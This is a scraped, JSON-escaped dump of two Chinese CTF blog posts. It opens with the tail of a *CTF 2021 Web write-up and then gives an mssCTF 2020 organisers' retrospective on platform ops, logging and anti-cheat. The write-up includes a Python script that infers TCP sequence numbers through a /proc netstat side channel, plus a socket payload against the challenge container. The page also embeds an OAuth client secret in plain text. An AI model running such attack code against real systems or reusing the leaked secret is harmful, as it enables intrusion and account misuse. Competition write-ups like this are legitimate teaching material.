\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[key] = \u003cspan class=\"built_in\"\u003edict\u003c/span\u003e(\u003cspan class=\"built_in\"\u003ezip\u003c/span\u003e(keys.split(\u003cspan class=\"string\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e), vals.split(\u003cspan class=\"string\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e)))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enetstat = parse(read(\u003cspan class=\"string\"\u003e\u0026#39;/proc/1/net/netstat\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003einitial = netstat[\u003cspan class=\"string\"\u003e\u0026#39;TcpExt\u0026#39;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#39;DelayedACKLost\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eseq_now = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e**\u003cspan class=\"number\"\u003e4\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e send(build(i \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e27\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e netstat = parse(read(\u003cspan class=\"string\"\u003e\u0026#39;/proc/1/net/netstat\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e netstat[\u003cspan class=\"string\"\u003e\u0026#39;TcpExt\u0026#39;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#39;DelayedACKLost\u0026#39;\u003c/span\u003e] \u0026gt; initial:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e seq_now = i \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e27\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e send(build(seq_now | (\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; (\u003cspan class=\"number\"\u003e31\u003c/span\u003e - i))))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e netstat = parse(read(\u003cspan class=\"string\"\u003e\u0026#39;/proc/1/net/netstat\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e netstat[\u003cspan class=\"string\"\u003e\u0026#39;TcpExt\u0026#39;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#39;DelayedACKLost\u0026#39;\u003c/span\u003e] == initial + \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e seq_now |= (\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; (\u003cspan class=\"number\"\u003e31\u003c/span\u003e - i))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e netstat[\u003cspan class=\"string\"\u003e\u0026#39;TcpExt\u0026#39;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#39;DelayedACKLost\u0026#39;\u003c/span\u003e] \u0026gt; initial:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# conflict\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e exit(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e time.sleep(\u003cspan class=\"number\"\u003e0.5\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(seq_now)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e然而出题人,对不起,你这还是有非预期。\u003c/p\u003e\u003cp\u003e\u003cs\u003e我们再来仔细看看\u003ccode\u003edocker-compose.yml\u003c/code\u003e,看看是不是少了什么(自行看附件去)\u003c/s\u003e\u003cbr/\u003e\u003cs\u003e对的,没有depends_on,即使有可能也有问题。\u003c/s\u003e\u003cbr/\u003e修正:docker-compose.yml中确实有depends_on,但是仍然有启动顺序上的问题。\u003c/p\u003e\u003cp\u003e请读到这篇博客的同学熟背下面链接里的东西\u003cbr/\u003e\u003ca href=\"https://docs.docker.com/compose/startup-order/\"\u003ehttps://docs.docker.com/compose/startup-order/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e根据我个人的调查,一血的payload是这样的:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e socket \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tcpSerSock = socket(AF_INET, SOCK_STREAM)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tcpSerSock.connect((\u003cspan class=\"string\"\u003e\u0026#39;172.25.0.2\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e21587\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tcpSerSock.send(\u003cspan class=\"string\"\u003eb\u0026#39;*ctf\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(tcpSerSock.recv(\u003cspan class=\"number\"\u003e1280\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;ERROR\u0026#34;\u003c/span\u003e, e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e二血更是离谱,直接进去弹了个shell,上了一血的车,代码里直接就有flag(我也不知道为什么flag会在代码的注释里)\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/flag_in_py.png\" class=\"\" title=\"what??\"/\u003e\u003cp\u003e。。。所以说,这是多么悲伤的故事\u003c/p\u003e\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\u003cp\u003e没有。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/"},{"title":"mssCTF 2020 手记","time":"2020-09-19T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\u003cp\u003e自2018年第一届以来已经办了三届中学生比赛了。无论从出题还是运维角度,mss都已经相对稳定。不出意料,比赛过程中存在着许多问题,况且今年由于疫情原因在线上进行了决赛,但总体而言,在多方努力与支持下,比赛还是相当不错的。\u003c/p\u003e\u003cp\u003e这份总结是对各位的总结的一个大杂烩,段落的作者将以以下的形式给出:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e作者id\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e内容\u003c/p\u003e\u003ch2 id=\"运维\"\u003e运维\u003c/h2\u003e\u003ch3 id=\"CTFd部署\"\u003eCTFd部署\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eFrank\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e与去年的情况类似,平台最后都基本落到了我手里。平台的部署实际上没有费太大功夫,所有的东西都是现成的。最终用的插件有:\u003c/p\u003e\u003cul\u003e\u003cli\u003eACM评测插件(之前写好的,改了一点前端)\u003c/li\u003e\u003cli\u003e附件下发插件(By Reverier)\u003c/li\u003e\u003cli\u003e容器下发插件(改的ctfd-whale)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e大部分都是现成的,部署起来很方便。无非就是需要更换一下非本地资源文件的CDN并分离静态文件。\u003cbr/\u003e不过由于moeCTF时让rx提前研究了静态文件如何压缩、分离并由nginx单独serve,以后的比赛应该不用我干预了\u003c/p\u003e\u003ch3 id=\"日志\"\u003e日志\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eReverier\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e初赛太辛苦BlackW@tch了. 初赛Web题目采用了静态docker部署的方式, 所有选手共用一个环境. 赛前去看他部署的时候发现apache的日志输出直接映射到了stdout, 这样搞的没办法查看log了, 但是想着题目应该不会出啥大问题, 折腾了一会儿没折腾好就放弃了. 第二天就直接上线.\u003c/p\u003e\u003cp\u003e然后web题成功出问题了. 有一名选手拿到flag之后挂了个脚本持续删掉flag, 重启docker之后继续删, 活生生的把CTF变成了出题人和选手之间的AD. bw只想着赶快修好环境, 也忘记先导出日志抓人, 日志又被重定向到了stdout, 重启一下docker啥都没了, 最后想起来的时候人也没抓着, 比赛也快结束了.\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eFrank\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e决赛时由于Web题目统一部署到了同一台服务器,进行动态容器下发,便于日志的记录,采用了腾讯云的日志服务,能看到所有人启动了什么容器且能看到包括请求题在内的完整的请求记录,相对方便对做题进度与做题人进行监控。虽然决赛的web题目并没有很多人做出来,但是从日志还是可以看出很多人通过了一定的关卡的。\u003c/p\u003e\u003cp\u003e在以后的比赛中一定要做好题目日志的记录,时刻把握好做题人的进展。一来日志的收集也不麻烦(当然要提前熟悉好),二来好处多多:\u003c/p\u003e\u003cul\u003e\u003cli\u003e方便反作弊(最直接的原因)\u003c/li\u003e\u003cli\u003e腾讯云日志免费保留14天,期间如果有人举报,可以随时对现场进行还原。\u003c/li\u003e\u003cli\u003e比赛中把握出题人的做题状况可以适时放hint\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面的这些主要面对的是web题目,但对别的方向理应也有一定参考价值。\u003c/p\u003e\u003ch3 id=\"关于插件与反作弊\"\u003e关于插件与反作弊\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eReverier\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在讨论平台的反作弊措施时有人提出了能否给不同选手分发不同题目文件的想法, 思索了一下觉得可行, 我便答应下来, 然后投入到静态题目文件自动分发插件的工作当中. 由于时间紧急就没能好好研究CTFd的文件上传与储存机制, 最开始的想法是创建一种新的挑战类型, 然后慢慢改; 后来写好之后发现数据库冲突了, 测试了好久依旧无法实现. 经Frank的提示, 发现其实只要创建一种新的flag类型即可. 时间紧急就采用了最简单的写法, 在api/v1/challenges.py里直接判断flag类型然后返回对应的文件, 简单粗暴. 这样写出来的插件由于更改了平台原有的文件, 所以没法即插即用, 等有时间了好好研究一下如何在不更改原有api的情况下实现自动分发.\u003c/p\u003e\u003cp\u003e初赛过程中自动分发插件倒工作良好, 没出什么幺蛾子.\u003c/p\u003e\u003cp\u003e复赛的账号分发任务交给我来做了, 采用自动注册脚本没费什么力气, 然后发送邮件拜托洛千用工具人做法全部发送到了选手的邮箱. 自动分发插件依旧沿用初赛的插件. Frank收集了所有web和pwn题目之后采用CTFd-Whale插件把题目弄成了动态的, 选手启动自己专属的docker环境做题, flag也各不相同, 防止作弊的同时也有效避免了初赛选手删flag的问题. PPC评测由于Windows下换行符CRLF的问题导致测试题目部分选手写的代码没有通过, 不过没什么大碍. 整个复赛过程中平台运行情况挺稳定的, 整个复赛过程中动态题目总共创建了487次docker环境, 其中用于测试题目创建了51次, 选手解题创建了436次, 其中陈培琛启动了35次题目环境, 杜厚德启动了32次, 陈鸿嘉启动了29次, 在\u0026#34;浪费服务器性能排行榜\u0026#34;上夺得前三.\u003c/p\u003e\u003ch2 id=\"出题与审题\"\u003e出题与审题\u003c/h2\u003e\u003cp\u003e题目很多都是让19级的学弟出的,完整的题目负责列表如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth style=\"text-align:center\"\u003e场次\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e分类\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e题目名\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e出题人\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e|\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e场次\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e分类\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e题目名\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e出题人\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e签到题\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eluoqian\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003egift\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeqqie\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eAvicii\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eluoqian\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003efishing_master\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLunatic\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e到底说了什么\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eGalaxy\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWal1et\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWal1et\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e抽卡游戏\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ezkonge\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ehugme\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eblackwatch\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003enode\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLT\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003exml’s the best\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReclu3e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eunserialize\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLT\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ecalc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLT\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ereadme\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eblackwatch\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003epostme\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReclu3e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_stream\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_encrypt\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_math\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ehard_block\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_signin\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_rsa\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ewhisper\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLunatic\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_block\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eblind\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeqqie\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ehello\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ebaby_format\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeqqie\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ebase_pro\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003edoors\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ecoffee\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003esearch\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eflower\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCheckIn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eRuby\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e灌水\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e栅栏加密\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e安全评估\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e量子波动速读\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eRSA加密\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e肝活动\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 